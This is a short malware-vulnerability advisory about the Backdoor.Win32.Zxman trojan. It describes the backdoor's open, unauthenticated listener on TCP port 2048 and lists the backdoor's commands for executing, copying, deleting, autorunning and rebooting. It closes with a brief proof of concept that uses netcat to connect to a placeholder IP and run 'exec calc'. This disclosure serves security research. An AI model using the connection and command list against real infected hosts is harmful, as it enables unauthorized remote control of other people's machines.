Backdoor.Win32.Zxman Code Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/e369bbd8acbe8322834e3adbad30ff5c.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Zxman  
Vulnerability: Unauthenticated Remote Code Execution  
Description: The malware by "Zx-man" listens on TCP port 2048. Third-party attackers who can reach an infected system can run commands made available by the backdoor.  
  
Commands List.  
  
* ? or HELP - View this screen  
* Exec FILE_NAME,COMMAND_LINE - Execute program or file  
* Copy FILE_NAME_1,FILE_NAME_2 - Copies FILE_NAME_1 to FILE_NAME_2  
* Move FILE_NAME_1,FILE_NAME_2 - Moves FILE_NAME_1 to FILE_NAME_2  
* Rename FILE_NAME_1,FILE_NAME_2 - Renames FILE_NAME_1 to FILE_NAME_2  
* Del FILE_NAME - Deletes a file  
* View FILE_NAME - Viewes a file  
* Autorun FILE_NAME - Add program to the autorun list  
* Dir DIRECTORY - List DIRECTORY's files and subdirs  
* Msg MESSAGE - Show a message  
* Mouse [ON/OFF] - Turns mouse ON / OFF  
* Reboot - Reboots the computer  
* TurnOff [QUICK] - Turns off the computer  
* Exit - Exit!!!  
  
Type: PE32  
MD5: e369bbd8acbe8322834e3adbad30ff5c   
Vuln ID: MVID-2022-0478  
Disclosure: 02/01/2022   
  
Exploit/PoC:  
nc64.exe x.x.x.x 2048  
Welcome to REMOTE_CONTROL_SYSTEM by Zx-man ([email protected])  
--------------------------------------------------------------------------------  
Type ''?'' for HELP!  
>exec calc  
exec calc  
  
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